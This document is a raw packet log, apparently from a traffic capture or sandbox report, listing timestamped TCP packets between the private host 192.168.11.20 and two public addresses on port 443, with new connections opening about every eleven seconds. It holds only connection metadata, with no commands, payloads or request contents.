Dec 5, 2024 17:03:01.276073933 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.276187897 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.276278019 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.277251959 CET	49751	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:01.277291059 CET	443	49751	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:01.438851118 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.438879013 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:01.439021111 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.439232111 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.439246893 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:01.729132891 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:01.729419947 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.729419947 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.733825922 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.733861923 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:01.734287977 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:01.734493971 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.734862089 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:01.778408051 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:02.024703979 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:02.024817944 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:02.024867058 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:02.024883986 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:02.024894953 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:02.024943113 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:02.025160074 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:02.029244900 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:02.029244900 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:02.029267073 CET	443	49752	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:02.029428005 CET	49752	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.090003014 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.090101004 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.090312958 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.090557098 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.090601921 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.364645958 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.364849091 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.365286112 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.365324020 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.365427971 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.365466118 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.641275883 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.641450882 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.641489029 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.641592979 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.641627073 CET	443	49753	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:12.641673088 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.641776085 CET	49753	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:12.695647001 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.695729971 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:12.695931911 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.696207047 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.696259975 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:12.980709076 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:12.980937004 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.981327057 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.981327057 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:12.981399059 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:12.981432915 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:13.346736908 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:13.346831083 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:13.346997023 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:13.347054958 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:13.347070932 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:13.347256899 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:13.347428083 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:13.347644091 CET	443	49754	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:13.347805977 CET	49754	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:23.384427071 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.384533882 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.384851933 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.384968996 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.385006905 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.659648895 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.659866095 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.660183907 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.660247087 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.660408020 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.660445929 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.933877945 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.934068918 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.934111118 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.934237003 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.934294939 CET	49755	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:23.934340000 CET	443	49755	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:23.968099117 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:23.968183041 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:23.968396902 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:23.968568087 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:23.968620062 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.242526054 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.242805958 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.244219065 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.244290113 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.245338917 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.245548964 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.245757103 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.286299944 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.553247929 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.553455114 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.553481102 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.553503990 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.553662062 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.553755045 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.553802013 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.554078102 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.554078102 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:24.554132938 CET	443	49756	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:24.554389954 CET	49756	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:34.600739002 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:34.600826979 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:34.601116896 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:34.601448059 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:34.601500988 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:34.875654936 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:34.875893116 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:34.876487017 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:34.876554966 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:34.876576900 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:34.876600027 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:35.152618885 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:35.152800083 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:35.152853966 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:35.153028011 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:35.153096914 CET	49757	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:35.153142929 CET	443	49757	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:35.225111008 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.225127935 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.225254059 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.225579977 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.225616932 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.493453026 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.493746042 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.494045019 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.494069099 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.494139910 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.494163990 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.805222988 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.805411100 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.805453062 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.805480957 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.805633068 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:35.805641890 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.805797100 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.805963993 CET	49758	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:35.806000948 CET	443	49758	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:45.833333015 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:45.833384991 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:45.833632946 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:45.833772898 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:45.833792925 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.106663942 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.106950998 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.107426882 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.107497931 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.107521057 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.107542992 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.381727934 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.381906986 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.381951094 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.382031918 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.382067919 CET	443	49759	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:46.382137060 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.382216930 CET	49759	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:46.406450033 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.406533957 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.406734943 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.406932116 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.406981945 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.673839092 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.674004078 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.674252987 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.674266100 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.674379110 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.674387932 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.991429090 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.991523981 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.991749048 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.991801023 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.992110014 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.992110014 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.992178917 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.992230892 CET	443	49760	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:46.992438078 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:46.992438078 CET	49760	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.033579111 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.033688068 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.034290075 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.034290075 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.034430981 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.310188055 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.310374022 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.310700893 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.310714960 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.310991049 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.311005116 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.594980955 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.595068932 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.595160961 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.595372915 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.595670938 CET	49761	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:03:57.595710039 CET	443	49761	142.250.217.238	192.168.11.20
Dec 5, 2024 17:03:57.612014055 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.612051010 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:57.612303972 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.612574100 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.612592936 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:57.882703066 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:57.882900000 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.883477926 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.883477926 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:57.883544922 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:57.883574963 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:58.200768948 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:58.200994015 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:58.201005936 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:58.201067924 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:58.201181889 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:58.201203108 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:03:58.201226950 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:58.201389074 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:58.201438904 CET	49762	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:03:58.201488972 CET	443	49762	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:08.218487024 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.218596935 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.218918085 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.219043016 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.219093084 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.493686914 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.494026899 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.494302988 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.494345903 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.494440079 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.494477034 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.765697002 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.765896082 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:08.765980959 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.766079903 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.766079903 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:08.790910006 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:08.790993929 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:08.791171074 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:08.791307926 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:08.791352987 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.064153910 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.064347029 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.064707994 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.064773083 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.064923048 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.064961910 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.077003002 CET	49763	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:09.077080011 CET	443	49763	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:09.383780956 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.383954048 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.384056091 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.384116888 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.384133101 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.384145021 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:09.384268999 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.384412050 CET	49764	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:09.384464979 CET	443	49764	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:19.419135094 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.419230938 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.419447899 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.419778109 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.419826031 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.690006018 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.690140963 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.690749884 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.690757990 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.690896034 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.690901041 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.970009089 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.970141888 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.970283985 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.970365047 CET	443	49765	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:19.970489025 CET	49765	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:19.985491037 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:19.985519886 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:19.985675097 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:19.985846996 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:19.985867023 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.254859924 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.255193949 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.259552956 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.259613991 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.259756088 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.259778976 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.580965996 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.581176043 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.581196070 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.581245899 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.581377983 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.581410885 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.581470013 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:20.581772089 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.583789110 CET	49766	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:20.583870888 CET	443	49766	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:30.620160103 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.620266914 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:30.620553017 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.620670080 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.620708942 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:30.895524025 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:30.895824909 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.895864964 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.898511887 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:30.898778915 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.901387930 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.901457071 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:30.902513981 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:30.902801037 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.903202057 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:30.946434021 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:31.172837973 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:31.173028946 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:31.173073053 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:31.173145056 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:31.173249006 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:31.173337936 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:31.173361063 CET	443	49767	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:31.173434019 CET	49767	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:31.223706007 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.223793030 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.224016905 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.224215031 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.224267006 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.493664026 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.493901014 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.494421959 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.494466066 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.494581938 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.494626045 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.809170961 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.809266090 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.809467077 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.809467077 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.809524059 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.809889078 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:31.809957981 CET	49768	443	192.168.11.20	142.250.64.193
